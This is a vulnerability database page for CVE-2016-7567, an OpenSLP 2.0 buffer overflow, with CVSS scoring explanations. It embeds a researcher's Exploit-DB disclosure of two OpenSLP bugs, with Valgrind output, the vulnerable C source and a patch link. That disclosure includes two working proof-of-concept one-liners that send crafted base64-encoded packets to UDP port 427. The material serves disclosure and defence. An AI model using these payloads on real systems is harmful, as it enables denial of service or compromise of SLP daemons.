CVE-2016-7567 : Detail

CVE-2016-7567

9.8
/
Critical
Overflow
5.19%V3
Network
2017-01-23
20h00 +00:00
2018-11-10
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the SLPFoldWhiteSpace function in common/slp_compare.c in OpenSLP 2.0 allows remote attackers to have unspecified impact via a crafted string.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45804

Publication date : 2018-11-06 23h00 +00:00
Author : Magnus Klaaborg Stubman
EDB Verified : No

_ _ / | ___ ___ ___ ___ ___| |___ _ / / | . | . | -_| |_ -| | . | |_|_/ |___| _|___|_|_|___|_| _| |_| |_| 2018-11-07 MORE BUGS IN OPENSLP-2.0.0 ========================== I discovered some bugs in openslp-2.0.0 back in January, 2018. One of them I disclosed in June (dumpco.re/blog/openslp-2.0.0-double-free), and today I'm disclosing two more. BUG 1 ===== This issue is an OOB read that does not crash the application. So in terms of exploitation it is not very interesting. If that's what you're here for then scroll down to bug#2. After the occurence of the bug the application actually detects the error and ignores the malicious packet. Therefore, it could be argued that this is not a bug at all. Nevertheless, here it is: Proof of concept exploit: echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==27968== Invalid read of size 1 ==27968== at 0x412436: GetUINT16 (slp_message.c:63) ==27968== by 0x4159C7: v2ParseSrvReg (slp_v2message.c:327) ==27968== by 0x4159C7: SLPv2MessageParseBuffer (slp_v2message.c:1005) ==27968== by 0x40BF4A: SLPDProcessMessage (slpd_process.c:1393) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) ==27968== Address 0x5b5c3f1 is 0 bytes after a block of size 81 alloc'd ==27968== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==27968== by 0x40FC1C: SLPBufferAlloc (slp_buffer.c:67) ==27968== by 0x40FCBA: SLPBufferDup (slp_buffer.c:139) ==27968== by 0x40BF7F: SLPDProcessMessage (slpd_process.c:1383) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) Analysis: v2ParseSrvReg is responsible for parsing incoming requests. Various bytes are read from the packet and interpreted as integers used as length fields. One of them is the scopelistlen, parsed on line 321, and further used as argument for the amount of bytes to increment the buffer->curpos pointer in the the GetStrPtr function, shown below on line 112. It now points to uninitialized memory. The OOB read occurs in GetUINT16, called on line 327 where the buffer->curpos pointer is dereferenced. Subsequently the comparison on line 329 evaluates to true since the buffer->curpos now points to memory located after the buffer->end pointer. The application therefore stops processing the malicious packet. 291 static int v2ParseSrvReg(SLPBuffer buffer, SLPSrvReg * srvreg) 292 { 293 int result; 294 295 /* 0 1 2 3 296 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 297 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 298 | <URL-Entry> \ 299 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 300 | length of service type string | <service-type> \ 301 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 302 | length of <scope-list> | <scope-list> \ 303 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 304 | length of attr-list string | <attr-list> \ 305 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 306 |# of AttrAuths |(if present) Attribute Authentication Blocks...\ 307 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */ 308 309 /* Parse the <URL-Entry>. */ 310 result = v2ParseUrlEntry(buffer, &srvreg->urlentry); 311 if (result != 0) 312 return result; 313 314 /* Parse the <service-type> string. */ 315 srvreg->srvtypelen = GetUINT16(&buffer->curpos); 316 srvreg->srvtype = GetStrPtr(&buffer->curpos, srvreg->srvtypelen); 317 if (buffer->curpos > buffer->end) 318 return SLP_ERROR_PARSE_ERROR; 319 320 /* Parse the <scope-list> string. */ 321 srvreg->scopelistlen = GetUINT16(&buffer->curpos); 322 srvreg->scopelist = GetStrPtr(&buffer->curpos, srvreg->scopelistlen); 323 if (buffer->curpos > buffer->end) 324 return SLP_ERROR_PARSE_ERROR; 325 326 /* Parse the <attr-list> string. */ 327 srvreg->attrlistlen = GetUINT16(&buffer->curpos); 328 srvreg->attrlist = GetStrPtr(&buffer->curpos, srvreg->attrlistlen); 329 if (buffer->curpos > buffer->end) 330 return SLP_ERROR_PARSE_ERROR; 54 /** Extract a 16-bit big-endian buffer value into a native 16-bit word. 55 * 56 * @param[in,out] cpp - The address of a pointer from which to extract. 57 * 58 * @return A 16-bit unsigned value in native format; the buffer pointer 59 * is moved ahead by 2 bytes on return. 60 */ 61 uint16_t GetUINT16(uint8_t ** cpp) 62 { 63 uint16_t rv = AS_UINT16(*cpp); 64 *cpp += 2; 65 return rv; 66 } ... 96 /** Extract a string buffer address into a character pointer. 97 * 98 * Note that this routine doesn't actually copy the string. It only casts 99 * the buffer pointer to a character pointer and moves the value at @p cpp 100 * ahead by @p len bytes. 101 * 102 * @param[in,out] cpp - The address of a pointer from which to extract. 103 * @param[in] len - The length of the string to extract. 104 * 105 * @return A pointer to the first character at the address pointed to by 106 * @p cppstring pointer; the buffer pointer is moved ahead by @p len bytes 107 * on return. 108 */ 109 char * GetStrPtr(uint8_t ** cpp, size_t len) 110 { 111 char * sp = (char *)*cpp; 112 *cpp += len; 113 return sp; 114 } Proof of discovery: $ echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d | sha256sum 0d3f7a6e45a59def9097db4f103f95e4af2560bdb25853f9ee1c2e758c7d4946 - twitter.com/magnusstubman/status/953909628622069760 Patch: I'm not aware of any patch, and I'm not sure the maintainers are going to patch it. BUG 2 ===== First and foremost, I'm not claiming credit for this bug since it was apparently discovered by Reno Robert and publicly disclosed on the oss-security mailing list on 2016-09-27 and awarded CVE-2016-7567 the day after. openwall.com/lists/oss-security/2016/09/27/4 openwall.com/lists/oss-security/2016/09/28/1 Anyhow, I wasn't aware of the issue and found it by fuzzing, so I reported it to the maintainers who made me aware of the earlier discovery. What puzzled me was that no announcement had been made and the fact that the latest stable version on their website is still vulnerable! I found it 2017-12-06 and reported it 2018-01-18. See further down for proof of discovery. I havn't been able to find any exploit for this bug anywhere. Therefore, I'm today disclosing a proof-of-concept exploit for the bug to increase attention on the issue. Exploit: echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==56913== Invalid write of size 1 ==56913== at 0x4C2D6A3: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:914) ==56913== by 0x40FD0B: SLPFoldWhiteSpace (slp_compare.c:210) ==56913== by 0x4100DC: SLPCompareString (slp_compare.c:374) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) ==56913== Address 0x5b5dd06 is 0 bytes after a block of size 6 alloc'd ==56913== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==56913== by 0x415C51: _xmemdup (slp_xmalloc.c:356) ==56913== by 0x410096: SLPCompareString (slp_compare.c:365) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) The while loop on line 207 fails to perform bounds checking, and as such may end up incrementing the pointer p up to a point such that p is bigger than ep. Thus, the third argument to memmove on line 2010 becomes negative. However, since memmove accepts a size_t (which is unsigned) the value wraps around and becomes UINT_MAX or close to UINT_MAX resulting in memmove attempting to move an excessive amount of memory, resulting in OOB write. 184 /** fold internal white space within a string. 185 * 186 * folds all internal white space to a single space character within a 187 * specified string. modified the @p str parameter with the result and 188 * returns the new length of the string. 189 * 190 * @param[in] len - the length in bytes of @p str. 191 * @param[in,out] str - the string from which extraneous white space 192 * should be removed. 193 * 194 * @return the new (shorter) length of @p str. 195 * 196 * @note this routine assumes that leading and trailing white space have 197 * already been removed from @p str. 198 */ 199 static int slpfoldwhitespace(size_t len, char * str) 200 { 201 char * p = str, * ep = str + len; 202 while (p < ep) 203 { 204 if (isspace(*p)) 205 { 206 char * ws2p = ++p; /* point ws2p to the second ws char. */ 207 while (isspace(*p)) /* scan till we hit a non-ws char. */ 208 p++; 209 len -= p - ws2p; /* reduce the length by extra ws. */ 210 memmove(ws2p, p, ep - p); /* overwrite the extra white space. */ 211 } 212 p++; 213 } 214 return (int)len; 215 } Proof of discovery: $ echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d | sha256sum 5bba9f9410bd4dffa4dc119477153002002db3fdd26a97080e43bfd95aeadb24 - twitter.com/magnusstubman/status/938317849474555904 Patch: sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a REFERENCES ========== - sourceforge.net/p/openslp/bugs/161 - sourceforge.net/p/openslp/bugs/160 - twitter.com/magnusstubman/status/938317849474555904 - twitter.com/magnusstubman/status/953909628622069760 - sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a - openwall.com/lists/oss-security/2016/09/27/4 - openwall.com/lists/oss-security/2016/09/28/1

Products Mentioned

Configuraton 0

Openslp>>Openslp >> Version 2.0.0

References

http://www.openwall.com/lists/oss-security/2016/09/27/4
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/93186
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2016/09/28/1
Tags : mailing-list, x_refsource_MLIST
https://security.gentoo.org/glsa/201707-05
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/45804/
Tags : exploit, x_refsource_EXPLOIT-DB